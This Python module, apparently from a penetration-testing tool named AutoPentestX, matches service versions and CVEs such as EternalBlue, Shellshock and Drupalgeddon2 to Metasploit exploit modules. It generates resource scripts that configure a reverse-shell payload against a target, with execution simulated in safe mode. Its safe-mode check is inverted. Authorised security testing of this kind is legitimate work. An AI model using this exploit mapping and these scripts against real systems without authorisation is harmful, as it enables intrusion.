#!/usr/bin/env python3
"""
AutoPentestX - Exploit Engine
Safe exploitation module with Metasploit integration
Educational/Lab use only - Safe mode enabled by default
"""

import subprocess
import json
import re
from datetime import datetime
import os

class ExploitEngine:
    def __init__(self, safe_mode=True):
        """Initialize exploit engine"""
        self.safe_mode = safe_mode
        self.exploit_results = []
        self.metasploit_available = self.check_metasploit()
        
        # Exploit database (common exploits mapped to vulnerabilities)
        self.exploit_db = {
            'vsftpd 2.3.4': {
                'name': 'vsftpd_234_backdoor',
                'module': 'exploit/unix/ftp/vsftpd_234_backdoor',
                'description': 'VSFTPD v2.3.4 Backdoor Command Execution',
                'safe': True
            },
            'ProFTPD 1.3.3c': {
                'name': 'proftpd_133c_backdoor',
                'module': 'exploit/unix/ftp/proftpd_133c_backdoor',
                'description': 'ProFTPD 1.3.3c Backdoor',
                'safe': True
            },
            'EternalBlue': {
                'name': 'ms17_010_eternalblue',
                'module': 'exploit/windows/smb/ms17_010_eternalblue',
                'description': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
                'safe': False  # Potentially destructive
            },
            'Shellshock': {
                'name': 'apache_mod_cgi_bash_env_exec',
                'module': 'exploit/multi/http/apache_mod_cgi_bash_env_exec',
                'description': 'Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)',
                'safe': True
            },
            'Drupalgeddon2': {
                'name': 'drupalgeddon2',
                'module': 'exploit/unix/webapp/drupal_drupalgeddon2',
                'description': 'Drupal Drupalgeddon 2 Remote Code Execution',
                'safe': True
            }
        }
    
    def check_metasploit(self):
        """Check if Metasploit is installed"""
        try:
            result = subprocess.run(['which', 'msfconsole'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                print("[✓] Metasploit Framework detected")
                return True
            else:
                print("[!] Metasploit not found - Exploitation features limited")
                return False
        except Exception as e:
            print(f"[!] Error checking Metasploit: {e}")
            return False
    
    def match_exploits(self, vulnerabilities, cves):
        """Match vulnerabilities to available exploits"""
        print("\n" + "="*60)
        print("AutoPentestX - Exploit Matching")
        print("="*60)
        
        matched_exploits = []
        
        # Match based on service versions
        for vuln in vulnerabilities:
            service = vuln.get('service', '').lower()
            version = vuln.get('version', '').lower()
            
            # Check exploit database
            for key, exploit in self.exploit_db.items():
                if key.lower() in f"{service} {version}":
                    matched_exploits.append({
                        'vulnerability': vuln,
                        'exploit': exploit,
                        'port': vuln.get('port'),
                        'confidence': 'HIGH'
                    })
                    print(f"[✓] Exploit matched: {exploit['name']} for port {vuln.get('port')}")
        
        # Match based on CVEs
        for cve in cves:
            cve_id = cve.get('cve_id', '')
            
            # Known CVE to exploit mappings
            cve_exploits = {
                'CVE-2017-0144': 'EternalBlue',  # MS17-010
                'CVE-2014-6271': 'Shellshock',
                'CVE-2018-7600': 'Drupalgeddon2'
            }
            
            for cve_pattern, exploit_key in cve_exploits.items():
                if cve_pattern in cve_id and exploit_key in self.exploit_db:
                    matched_exploits.append({
                        'cve': cve,
                        'exploit': self.exploit_db[exploit_key],
                        'port': cve.get('port'),
                        'confidence': 'MEDIUM'
                    })
                    print(f"[✓] Exploit matched: {self.exploit_db[exploit_key]['name']} "
                          f"for CVE {cve_id}")
        
        print(f"\n[*] Total exploits matched: {len(matched_exploits)}")
        return matched_exploits
    
    def run_metasploit_exploit(self, target, port, exploit_module, payload='generic/shell_reverse_tcp'):
        """Execute Metasploit exploit in safe mode"""
        if not self.metasploit_available:
            return {
                'status': 'SKIPPED',
                'reason': 'Metasploit not available'
            }
        
        if not self.safe_mode:
            print("[!] WARNING: Safe mode disabled - This could cause system damage!")
            return {
                'status': 'BLOCKED',
                'reason': 'Exploitation disabled for safety'
            }
        
        print(f"[*] Simulating exploit: {exploit_module}")
        print(f"    Target: {target}:{port}")
        print(f"    Payload: {payload}")
        
        # In safe mode, we only CHECK if the exploit would work, not actually execute
        result = {
            'status': 'SIMULATED',
            'exploit_module': exploit_module,
            'target': target,
            'port': port,
            'payload': payload,
            'timestamp': datetime.now().isoformat(),
            'safe_mode': True,
            'result': 'Exploit would be executed in non-safe mode'
        }
        
        # Create resource script for Metasploit (for reference)
        rc_script = self.create_rc_script(target, port, exploit_module, payload)
        result['rc_script'] = rc_script
        
        return result
    
    def create_rc_script(self, target, port, exploit_module, payload):
        """Create Metasploit resource script"""
        rc_content = f"""# Metasploit Resource Script
# Generated by AutoPentestX
# Target: {target}:{port}
# Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

use {exploit_module}
set RHOSTS {target}
set RPORT {port}
set PAYLOAD {payload}
set LHOST 0.0.0.0
set LPORT 4444
check
# Exploit execution disabled in safe mode
# Uncomment to execute: exploit
"""
        
        # Save RC script
        rc_filename = f"exploits/exploit_{target}_{port}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.rc"
        
        try:
            os.makedirs('exploits', exist_ok=True)
            with open(rc_filename, 'w') as f:
                f.write(rc_content)
            print(f"[✓] Metasploit RC script saved: {rc_filename}")
        except Exception as e:
            print(f"[!] Failed to save RC script: {e}")
        
        return rc_filename
    
    def simulate_exploitation(self, matched_exploits, target):
        """Simulate exploitation attempts (safe mode)"""
        print("\n" + "="*60)
        print("AutoPentestX - Exploitation Simulation")
        print("="*60)
        print(f"Safe Mode: {'ENABLED' if self.safe_mode else 'DISABLED'}")
        print(f"Target: {target}")
        print("="*60 + "\n")
        
        if self.safe_mode:
            print("[*] Running in SAFE MODE - No actual exploitation will occur")
            print("[*] Generating exploit feasibility reports...\n")
        
        exploitation_results = []
        
        for match in matched_exploits:
            exploit = match.get('exploit')
            port = match.get('port')
            confidence = match.get('confidence')
            
            if not exploit:
                continue
            
            # Check if exploit is safe to run
            if not exploit.get('safe', False) and self.safe_mode:
                print(f"[!] Skipping potentially dangerous exploit: {exploit['name']}")
                result = {
                    'port': port,
                    'exploit_name': exploit['name'],
                    'status': 'SKIPPED',
                    'reason': 'Exploit marked as potentially destructive',
                    'safe_mode': True
                }
            else:
                # Simulate exploit
                result = self.run_metasploit_exploit(
                    target, 
                    port, 
                    exploit.get('module', ''),
                    'generic/shell_reverse_tcp'
                )
                result['exploit_name'] = exploit['name']
                result['description'] = exploit['description']
                result['confidence'] = confidence
            
            exploitation_results.append(result)
            
            print(f"[*] Port {port}: {exploit['name']} - {result['status']}")
        
        self.exploit_results = exploitation_results
        
        print("\n" + "="*60)
        print("EXPLOITATION SUMMARY")
        print("="*60)
        print(f"Exploits matched: {len(matched_exploits)}")
        print(f"Exploits simulated: {len(exploitation_results)}")
        print(f"Safe mode: {'ENABLED' if self.safe_mode else 'DISABLED'}")
        print("="*60 + "\n")
        
        if self.safe_mode:
            print("[i] Note: All exploitation was simulated only.")
            print("[i] RC scripts generated for manual testing if needed.")
        
        return exploitation_results
    
    def generate_exploit_report(self, filename):
        """Generate exploitation report"""
        try:
            report = {
                'timestamp': datetime.now().isoformat(),
                'safe_mode': self.safe_mode,
                'metasploit_available': self.metasploit_available,
                'exploitation_results': self.exploit_results,
                'summary': {
                    'total_attempts': len(self.exploit_results),
                    'simulated': len([r for r in self.exploit_results if r.get('status') == 'SIMULATED']),
                    'skipped': len([r for r in self.exploit_results if r.get('status') == 'SKIPPED']),
                    'successful': len([r for r in self.exploit_results if r.get('status') == 'SUCCESS'])
                }
            }
            
            with open(filename, 'w') as f:
                json.dump(report, f, indent=4)
            
            print(f"[✓] Exploitation report saved: {filename}")
            
        except Exception as e:
            print(f"[✗] Failed to save exploitation report: {e}")
    
    def get_results(self):
        """Return exploitation results"""
        return self.exploit_results


if __name__ == "__main__":
    print("="*60)
    print("AutoPentestX - Exploit Engine Test")
    print("="*60)
    print("\n[!] WARNING: This tool is for EDUCATIONAL/AUTHORIZED TESTING ONLY")
    print("[!] Unauthorized use is ILLEGAL and UNETHICAL\n")
    
    # Test exploit engine
    exploit_engine = ExploitEngine(safe_mode=True)
    
    # Sample vulnerabilities
    sample_vulns = [
        {
            'port': 21,
            'service': 'ftp',
            'version': 'vsftpd 2.3.4',
            'name': 'FTP Backdoor'
        }
    ]
    
    sample_cves = [
        {
            'port': 445,
            'cve_id': 'CVE-2017-0144',
            'service': 'microsoft-ds'
        }
    ]
    
    # Match exploits
    matched = exploit_engine.match_exploits(sample_vulns, sample_cves)
    
    # Simulate exploitation
    if matched:
        results = exploit_engine.simulate_exploitation(matched, "192.168.1.100")
        exploit_engine.generate_exploit_report("exploits/test_exploit_report.json")